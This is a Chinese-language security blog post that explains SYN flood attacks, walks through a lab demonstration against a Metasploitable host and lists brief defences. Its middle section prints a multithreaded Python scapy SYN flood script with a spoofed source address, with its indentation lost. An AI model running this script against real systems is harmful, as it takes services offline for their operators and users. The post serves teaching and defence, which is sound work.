eSafe白帽駭客資安網-網絡安全背後的巨人,提供駭客,網站入侵測試,網站被駭,網站漏洞,駭客入侵,資訊安全,入侵,ecshop,wordpress,漏洞修復,木馬清除,資安服務

防禦流量攻擊—synflood變種攻擊防護



        Syn-Flood Attack是基於TCP/IP端口協議的流量拒絕服務攻擊,攻擊者會發送大量的TCP包,
 
來造成主機TCP連接數達到主機的最大限制,從而不能為新的用戶訪問網站的請求建立新
 
的TCP連接,打個比方:就好比一條公路,可以同時容納100輛車在公路行駛,突然上來1000
 
輛車,那麼公路就會堵塞。同樣的道理,那麼網站就無法打開,導致客戶流失,以此達到攻
 
擊目的。這種攻擊方式危害巨大,不僅會讓用戶體驗不佳,更直接的影響是對企業造成嚴重
 
的經濟損失!如何防止流量攻擊,怎麼解決主機被大流量攻擊呢?針對這些問題,我們有
 
必要瞭解這種流量攻擊的原理以及如何防禦、解決流量攻擊!
 
 
TCP/IP協議的三次握手詳情圖
 


 
1.第一次握手:Client將標誌位(也就是flags位)SYN置為1,隨機產生一個值seq=J,並將該
 
數據包發送給Server主機,Client進入SYN_SENT狀態,等待Server確認。
 
 
2.第二次握手:Server主機收到數據包後由標誌位SYN=1知道Client請求建立連接,Server
 
主機將標誌位SYN和ACK都置為1,ack=J+1,隨機產生一個值seq=K,並將該數據包發送給
 
Client以確認連接請求,Server主機進入SYN_RCVD狀態。eSafe白帽資安網公司是一家專注於:

主機安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務

提供商。

 
3.第三次握手:Client收到確認後,檢查ack是否為J+1,ACK是否為1,如果正確則將標誌位
 
ACK置為1,ack=K+1,並將該數據包發送給Server主機,Server主機檢查ack是否為K+1,
 
ACK是否為1,如果正確則連接建立成功,Client和Server主機進入ESTABLISHED狀態,完成
 
三次握手,隨後Client與Server主機之間可以開始傳輸數據了。
 
 
Syn-Flood流量攻擊原理
 

 
上圖1:簡要介紹了Syn-Flood流量攻擊的大體過程:

 
1.攻擊者先向目標主機發送SYN包,請求建立TCP連接

 
2.目標主機接收到SYN包之後,便會進入SYN_RCVD狀態,然後又給流量攻擊者回一個SYN-
 
ACK包

 
3.如果攻擊者發送SYN包時用的是偽造IP地址,那麼主機發送的SYN-ACK就很可能不可達,
 
得不到ACK來建立完整的三次握手連接,這時目標機就會保持SYN_RCVD狀態直到timeout。想
 
像一下,如果我們一直發送SYN包請求連接,但是又不和目標機器建立完整的TCP連接,一會
 
大家看看我們的流量攻擊腳本就知道這是一件多麼可怕的事情了。
 
 
4.如果攻擊者用的是本主機真實的IP地址的話,那麼攻擊者接受到ACK之後正常情況下會回復
 
一個RST包(為什麼不是ACK呢,因為攻擊時我們是用pyhton的scapy庫來發包的,本地網卡並
 
不認為自己發送了SYN包,莫名奇妙接收到一個SYN-ACK包當然會回復RST包啦)eSafe白帽資安網公司

是一家專注於:主機安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一

體的網絡安全服務提供商。
 
 
 
Syn-Flood攻擊實戰演示
 
有了前面的理論基礎,大家就能開心的做自己的測試了,就算遇到問題也能輕鬆的解決啦!
 
所以理論還是很有用的,不要一味的只知道操作步驟而不知道原理。還有就是腳本什麼的大
 
家可以根據自己的理解來編寫,不一定要用我的蹩腳的代碼。
 
環境準備:
 
1.Syn-Flood腳本 下載地址:https://github.com/myh0st/scripts/tree/master/synflood
 
2.Wireshark抓包工具
 
3.metaploitable2.0-linux IP=192.168.43.109
 
Syn-Flood腳本如下:
 
from scapy.all import *
import threading
import random
 
def Syn_flood(target_ip, target_port):
  while True:
  port = random.randint(0,10000)
  send(IP(src="1.1.1.1", dst=target_ip)/TCP(dport=target_port, 
 
sport=port),verbose=0)
  #send(IP(dst=target_ip)/TCP(dport=target_port, 
 
sport=port),verbose=0)
 
def main(target_ip, target_port, threads):
print "BEGIN TO ATTACK TARGET"
for i in range(0, threads):
#print "test" 
t = threading.Thread(target=Syn_flood, args=(target_ip, 
 
target_port))
t.start()
 
if __name__== "__main__": 
target_ip = raw_input("Please input the target_ip: ")
target_port = int(raw_input("Please input the target_port: "))
threads = int(raw_input("Please input the threads: "))
main(target_ip, target_port, threads)
 
 
攻擊流程:
 
1.啟動metasploit2.0,訪問它的web服務,現在我們可以很流暢的訪問到。

 
2.啟動python腳本,填寫必要的參數,當然也可以攻擊22,3389之類的基於TCP連接的端口。

 
3.現在查看效果,可以看到web應用已經不能正常訪問了,而且靶機的80端口由於受到Syn-
 
Flood攻擊全部處於SYN_RECV狀態。

 
如何解決主機被流量攻擊?
 
看到這裡相信大家已經對Syn-Flood這種流量攻擊方式有一定的瞭解了,下面來談談如何應對
 
 
1.如果某個端口和同一個IP建立了多個不完整連接,直接禁IP
 
2.減少SYN-RECEIVED的過期時間
 
3.設置SYN Cookie
 
4.設置防火牆的進站和入站規則
 
5.記錄日誌方便溯源追蹤真兇
分享: